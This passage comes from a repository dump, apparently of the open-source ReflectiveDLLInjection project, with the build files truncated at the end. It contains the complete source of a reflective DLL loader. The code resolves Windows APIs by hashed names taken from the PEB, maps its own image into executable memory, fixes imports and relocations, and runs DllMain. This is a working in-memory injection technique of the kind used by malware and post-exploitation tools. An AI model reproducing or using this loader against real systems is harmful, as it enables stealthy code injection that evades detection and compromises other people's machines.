asm available under x64).\n__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }\n//===============================================================================================//\n\n// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, \n// otherwise the DllMain at the end of this file will be used.\n\n// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,\n// otherwise it is assumed you are calling the ReflectiveLoader via a stub.\n\n// This is our position independent reflective DLL loader/injector\n#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR\nDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )\n#else\nDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )\n#endif\n{\n // the functions we need\n LOADLIBRARYA pLoadLibraryA = NULL;\n GETPROCADDRESS pGetProcAddress = NULL;\n VIRTUALALLOC pVirtualAlloc = NULL;\n NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;\n\n USHORT usCounter;\n\n // the initial location of this image in memory\n ULONG_PTR uiLibraryAddress;\n // the kernels base address and later this images newly loaded base address\n ULONG_PTR uiBaseAddress;\n\n // variables for processing the kernels export table\n ULONG_PTR uiAddressArray;\n ULONG_PTR uiNameArray;\n ULONG_PTR uiExportDir;\n ULONG_PTR uiNameOrdinals;\n DWORD dwHashValue;\n\n // variables for loading this image\n ULONG_PTR uiHeaderValue;\n ULONG_PTR uiValueA;\n ULONG_PTR uiValueB;\n ULONG_PTR uiValueC;\n ULONG_PTR uiValueD;\n ULONG_PTR uiValueE;\n\n // STEP 0: calculate our images current base address\n\n // we will start searching backwards from our callers return address.\n uiLibraryAddress = caller();\n\n // loop through memory backwards searching for our images base address\n // we dont need SEH style search as we shouldnt generate any access violations with this\n while( TRUE )\n {\n if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )\n {\n uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),\n // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.\n if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )\n {\n uiHeaderValue += uiLibraryAddress;\n // break if we have found a valid MZ/PE header\n if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )\n break;\n }\n }\n uiLibraryAddress--;\n }\n\n // STEP 1: process the kernels exports for the functions our loader needs...\n\n // get the Process Enviroment Block\n#ifdef WIN_X64\n uiBaseAddress = __readgsqword( 0x60 );\n#else\n#ifdef WIN_X86\n uiBaseAddress = __readfsdword( 0x30 );\n#else WIN_ARM\n uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );\n#endif\n#endif\n\n // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx\n uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;\n\n // get the first entry of the InMemoryOrder module list\n uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;\n while( uiValueA )\n {\n // get pointer to current modules name (unicode string)\n uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;\n // set bCounter to the length for the loop\n usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;\n // clear uiValueC which will store the hash of the module name\n uiValueC = 0;\n\n // compute the hash of the module name...\n do\n {\n uiValueC = ror( (DWORD)uiValueC );\n // normalize to uppercase if the madule name is in lowercase\n if( *((BYTE *)uiValueB) >= 'a' )\n uiValueC += *((BYTE *)uiValueB) - 0x20;\n else\n uiValueC += *((BYTE *)uiValueB);\n uiValueB++;\n } while( --usCounter );\n\n // compare the hash with that of kernel32.dll\n if( (DWORD)uiValueC == KERNEL32DLL_HASH )\n {\n // get this modules base address\n uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;\n\n // get the VA of the modules NT Header\n uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;\n\n // uiNameArray = the address of the modules export directory entry\n uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n // get the VA of the export directory\n uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );\n\n // get the VA for the array of name pointers\n uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );\n \n // get the VA for the array of name ordinals\n uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );\n\n usCounter = 3;\n\n // loop while we still have imports to find\n while( usCounter > 0 )\n {\n // compute the hash values for this function name\n dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );\n \n // if we have found a function we want we get its virtual address\n if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )\n {\n // get the VA for the array of addresses\n uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );\n\n // use this functions name ordinal as an index into the array of name pointers\n uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\n\n // store this functions VA\n if( dwHashValue == LOADLIBRARYA_HASH )\n pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );\n else if( dwHashValue == GETPROCADDRESS_HASH )\n pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );\n else if( dwHashValue == VIRTUALALLOC_HASH )\n pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );\n \n // decrement our counter\n usCounter--;\n }\n\n // get the next exported function name\n uiNameArray += sizeof(DWORD);\n\n // get the next exported function name ordinal\n uiNameOrdinals += sizeof(WORD);\n }\n }\n else if( (DWORD)uiValueC == NTDLLDLL_HASH )\n {\n // get this modules base address\n uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;\n\n // get the VA of the modules NT Header\n uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;\n\n // uiNameArray = the address of the modules export directory entry\n uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n // get the VA of the export directory\n uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );\n\n // get the VA for the array of name pointers\n uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );\n \n // get the VA for the array of name ordinals\n uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );\n\n usCounter = 1;\n\n // loop while we still have imports to find\n while( usCounter > 0 )\n {\n // compute the hash values for this function name\n dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );\n \n // if we have found a function we want we get its virtual address\n if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )\n {\n // get the VA for the array of addresses\n uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );\n\n // use this functions name ordinal as an index into the array of name pointers\n uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );\n\n // store this functions VA\n if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )\n pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );\n\n // decrement our counter\n usCounter--;\n }\n\n // get the next exported function name\n uiNameArray += sizeof(DWORD);\n\n // get the next exported function name ordinal\n uiNameOrdinals += sizeof(WORD);\n }\n }\n\n // we stop searching when we have found everything we need.\n if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )\n break;\n\n // get the next entry\n uiValueA = DEREF( uiValueA );\n }\n\n // STEP 2: load our image into a new permanent location in memory...\n\n // get the VA of the NT Header for the PE to be loaded\n uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n\n // allocate all the memory for the DLL to be loaded into. we can load at any address because we will \n // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.\n uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n\n // we must now copy over the headers\n uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;\n uiValueB = uiLibraryAddress;\n uiValueC = uiBaseAddress;\n\n while( uiValueA-- )\n *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;\n\n // STEP 3: load in all of our sections...\n\n // uiValueA = the VA of the first section\n uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );\n \n // itterate through all sections, loading them into memory.\n uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;\n while( uiValueE-- )\n {\n // uiValueB is the VA for this section\n uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );\n\n // uiValueC if the VA for this sections data\n uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );\n\n // copy the section over\n uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;\n\n while( uiValueD-- )\n *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;\n\n // get the VA of the next section\n uiValueA += sizeof( IMAGE_SECTION_HEADER );\n }\n\n // STEP 4: process our images import table...\n\n // uiValueB = the address of the import directory\n uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];\n \n // we assume their is an import table to process\n // uiValueC is the first entry in the import table\n uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );\n \n // itterate through all imports\n while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )\n {\n // use LoadLibraryA to load the imported module into memory\n uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );\n\n // uiValueD = VA of the OriginalFirstThunk\n uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );\n \n // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)\n uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );\n\n // itterate through all imported functions, importing by ordinal if no name present\n while( DEREF(uiValueA) )\n {\n // sanity check uiValueD as some compilers only import by FirstThunk\n if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )\n {\n // get the VA of the modules NT Header\n uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n\n // uiNameArray = the address of the modules export directory entry\n uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n // get the VA of the export directory\n uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );\n\n // get the VA for the array of addresses\n uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );\n\n // use the import ordinal (- export ordinal base) as an index into the array of addresses\n uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );\n\n // patch in the address for this imported function\n DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );\n }\n else\n {\n // get the VA of this functions import by name struct\n uiValueB = ( uiBaseAddress + DEREF(uiValueA) );\n\n // use GetProcAddress and patch in the address for this imported function\n DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );\n }\n // get the next imported function\n uiValueA += sizeof( ULONG_PTR );\n if( uiValueD )\n uiValueD += sizeof( ULONG_PTR );\n }\n\n // get the next import\n uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );\n }\n\n // STEP 5: process all of our images relocations...\n\n // calculate the base address delta and perform relocations (even if we load at desired image base)\n uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;\n\n // uiValueB = the address of the relocation directory\n uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];\n\n // check if their are any relocations present\n if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )\n {\n // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)\n uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );\n\n // and we itterate through all entries...\n while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )\n {\n // uiValueA = the VA for this relocation block\n uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );\n\n // uiValueB = number of entries in this relocation block\n uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );\n\n // uiValueD is now the first entry in the current relocation block\n uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);\n\n // we itterate through all the entries in the current block...\n while( uiValueB-- )\n {\n // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.\n // we dont use a switch statement to avoid the compiler building a jump table\n // which would not be very position independent!\n if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )\n *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;\n else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )\n *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;\n#ifdef WIN_ARM\n // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.\n else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )\n { \n register DWORD dwInstruction;\n register DWORD dwAddress;\n register WORD wImm;\n // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)\n dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );\n // flip the words to get the instruction as expected\n dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );\n // sanity chack we are processing a MOV instruction...\n if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )\n {\n // pull out the encoded 16bit value (the high portion of the address-to-relocate)\n wImm = (WORD)( dwInstruction & 0x000000FF);\n wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);\n wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);\n wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);\n // apply the relocation to the target address\n dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;\n // now create a new instruction with the same opcode and register param.\n dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );\n // patch in the relocated address...\n dwInstruction |= (DWORD)(dwAddress & 0x00FF);\n dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;\n dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;\n dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;\n // now flip the instructions words and patch back into the code...\n *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );\n }\n }\n#endif\n else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )\n *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);\n else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )\n *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);\n\n // get the next entry in the current relocation block\n uiValueD += sizeof( IMAGE_RELOC );\n }\n\n // get the next entry in the relocation directory\n uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;\n }\n }\n\n // STEP 6: call our images entry point\n\n // uiValueA = the VA of our newly loaded DLL/EXE's entry point\n uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );\n\n // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.\n pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );\n\n // call our respective entry point, fudging our hInstance value\n#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR\n // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)\n ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );\n#else\n // if we are injecting an DLL via a stub we call DllMain with no parameter\n ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );\n#endif\n\n // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.\n return uiValueA;\n}\n//===============================================================================================//\n#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN\n\nBOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )\n{\n BOOL bReturnValue = TRUE;\n switch( dwReason ) \n { \n case DLL_QUERY_HMODULE:\n if( lpReserved != NULL )\n *(HMODULE *)lpReserved = hAppInstance;\n break;\n case DLL_PROCESS_ATTACH:\n hAppInstance = hinstDLL;\n break;\n case DLL_PROCESS_DETACH:\n case DLL_THREAD_ATTACH:\n case DLL_THREAD_DETACH:\n break;\n }\n return bReturnValue;\n}\n\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/dll/src/ReflectiveLoader.h", "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n// \n// Redistribution and use in source and binary forms, with or without modification, are permitted \n// provided that the following conditions are met:\n// \n// * Redistributions of source code must retain the above copyright notice, this list of \n// conditions and the following disclaimer.\n// \n// * Redistributions in binary form must reproduce the above copyright notice, this list of \n// conditions and the following disclaimer in the documentation and/or other materials provided \n// with the distribution.\n// \n// * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n// \n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR \n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR \n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE \n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H\n#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include \n#include \n#include \n\n#include \"ReflectiveDLLInjection.h\"\n\ntypedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );\ntypedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );\ntypedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );\ntypedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );\n\n#define KERNEL32DLL_HASH 0x6A4ABC5B\n#define NTDLLDLL_HASH 0x3CFA685D\n\n#define LOADLIBRARYA_HASH 0xEC0E4E8E\n#define GETPROCADDRESS_HASH 0x7C0DFCAA\n#define VIRTUALALLOC_HASH 0x91AFCA54\n#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8\n\n#define IMAGE_REL_BASED_ARM_MOV32A 5\n#define IMAGE_REL_BASED_ARM_MOV32T 7\n\n#define ARM_MOV_MASK (DWORD)(0xFBF08000)\n#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)\n#define ARM_MOVW 0xF2400000\n#define ARM_MOVT 0xF2C00000\n\n#define HASH_KEY 13\n//===============================================================================================//\n#pragma intrinsic( _rotr )\n\n__forceinline DWORD ror( DWORD d )\n{\n return _rotr( d, HASH_KEY );\n}\n\n__forceinline DWORD hash( char * c )\n{\n register DWORD h = 0;\n do\n {\n h = ror( h );\n h += *c;\n } while( *++c );\n\n return h;\n}\n//===============================================================================================//\ntypedef struct _UNICODE_STR\n{\n USHORT Length;\n USHORT MaximumLength;\n PWSTR pBuffer;\n} UNICODE_STR, *PUNICODE_STR;\n\n// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY\n//__declspec( align(8) ) \ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n PVOID DllBase;\n PVOID EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STR FullDllName;\n UNICODE_STR BaseDllName;\n ULONG Flags;\n SHORT LoadCount;\n SHORT TlsIndex;\n LIST_ENTRY HashTableEntry;\n ULONG TimeDateStamp;\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n// WinDbg> dt -v ntdll!_PEB_LDR_DATA\ntypedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes\n{\n DWORD dwLength;\n DWORD dwInitialized;\n LPVOID lpSsHandle;\n LIST_ENTRY InLoadOrderModuleList;\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n LPVOID lpEntryInProgress;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\n// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK\ntypedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes\n{\n struct _PEB_FREE_BLOCK * pNext;\n DWORD dwSize;\n} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;\n\n// struct _PEB is defined in Winternl.h but it is incomplete\n// WinDbg> dt -v ntdll!_PEB\ntypedef struct __PEB // 65 elements, 0x210 bytes\n{\n BYTE bInheritedAddressSpace;\n BYTE bReadImageFileExecOptions;\n BYTE bBeingDebugged;\n BYTE bSpareBool;\n LPVOID lpMutant;\n LPVOID lpImageBaseAddress;\n PPEB_LDR_DATA pLdr;\n LPVOID lpProcessParameters;\n LPVOID lpSubSystemData;\n LPVOID lpProcessHeap;\n PRTL_CRITICAL_SECTION pFastPebLock;\n LPVOID lpFastPebLockRoutine;\n LPVOID lpFastPebUnlockRoutine;\n DWORD dwEnvironmentUpdateCount;\n LPVOID lpKernelCallbackTable;\n DWORD dwSystemReserved;\n DWORD dwAtlThunkSListPtr32;\n PPEB_FREE_BLOCK pFreeList;\n DWORD dwTlsExpansionCounter;\n LPVOID lpTlsBitmap;\n DWORD dwTlsBitmapBits[2];\n LPVOID lpReadOnlySharedMemoryBase;\n LPVOID lpReadOnlySharedMemoryHeap;\n LPVOID lpReadOnlyStaticServerData;\n LPVOID lpAnsiCodePageData;\n LPVOID lpOemCodePageData;\n LPVOID lpUnicodeCaseTableData;\n DWORD dwNumberOfProcessors;\n DWORD dwNtGlobalFlag;\n LARGE_INTEGER liCriticalSectionTimeout;\n DWORD dwHeapSegmentReserve;\n DWORD dwHeapSegmentCommit;\n DWORD dwHeapDeCommitTotalFreeThreshold;\n DWORD dwHeapDeCommitFreeBlockThreshold;\n DWORD dwNumberOfHeaps;\n DWORD dwMaximumNumberOfHeaps;\n LPVOID lpProcessHeaps;\n LPVOID lpGdiSharedHandleTable;\n LPVOID lpProcessStarterHelper;\n DWORD dwGdiDCAttributeList;\n LPVOID lpLoaderLock;\n DWORD dwOSMajorVersion;\n DWORD dwOSMinorVersion;\n WORD wOSBuildNumber;\n WORD wOSCSDVersion;\n DWORD dwOSPlatformId;\n DWORD dwImageSubsystem;\n DWORD dwImageSubsystemMajorVersion;\n DWORD dwImageSubsystemMinorVersion;\n DWORD dwImageProcessAffinityMask;\n DWORD dwGdiHandleBuffer[34];\n LPVOID lpPostProcessInitRoutine;\n LPVOID lpTlsExpansionBitmap;\n DWORD dwTlsExpansionBitmapBits[32];\n DWORD dwSessionId;\n ULARGE_INTEGER liAppCompatFlags;\n ULARGE_INTEGER liAppCompatFlagsUser;\n LPVOID lppShimData;\n LPVOID lpAppCompatInfo;\n UNICODE_STR usCSDVersion;\n LPVOID lpActivationContextData;\n LPVOID lpProcessAssemblyStorageMap;\n LPVOID lpSystemDefaultActivationContextData;\n LPVOID lpSystemAssemblyStorageMap;\n DWORD dwMinimumStackCommit;\n} _PEB, * _PPEB;\n\ntypedef struct\n{\n WORD offset:12;\n WORD type:4;\n} IMAGE_RELOC, *PIMAGE_RELOC;\n//===============================================================================================//\n#endif\n//===============================================================================================//\n" }, { "path": "Inject/ReflectiveDLLInjection/inject/inject.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"inject\", \"inject.vcxproj\", \"{EEF3FD41-05D8-4A07-8434-EF5D34D76335}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32\n\t\t{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32\n\t\t{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/ReflectiveDLLInjection/inject/inject.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Debug\n x64\n \n \n Release\n Win32\n \n \n Release\n x64\n \n \n \n {EEF3FD41-05D8-4A07-8434-EF5D34D76335}\n inject\n Win32Proj\n \n \n \n Application\n MultiByte\n true\n \n \n Application\n Unicode\n \n \n Application\n MultiByte\n true\n \n \n Application\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30319.1\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n true\n $(SolutionDir)$(Platform)\\$(Configuration)\\\n $(Platform)\\$(Configuration)\\\n true\n $(SolutionDir)$(Configuration)\\\n $(Configuration)\\\n false\n $(SolutionDir)$(Platform)\\$(Configuration)\\\n $(Platform)\\$(Configuration)\\\n false\n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n AllRules.ruleset\n \n \n \n \n \n Disabled\n 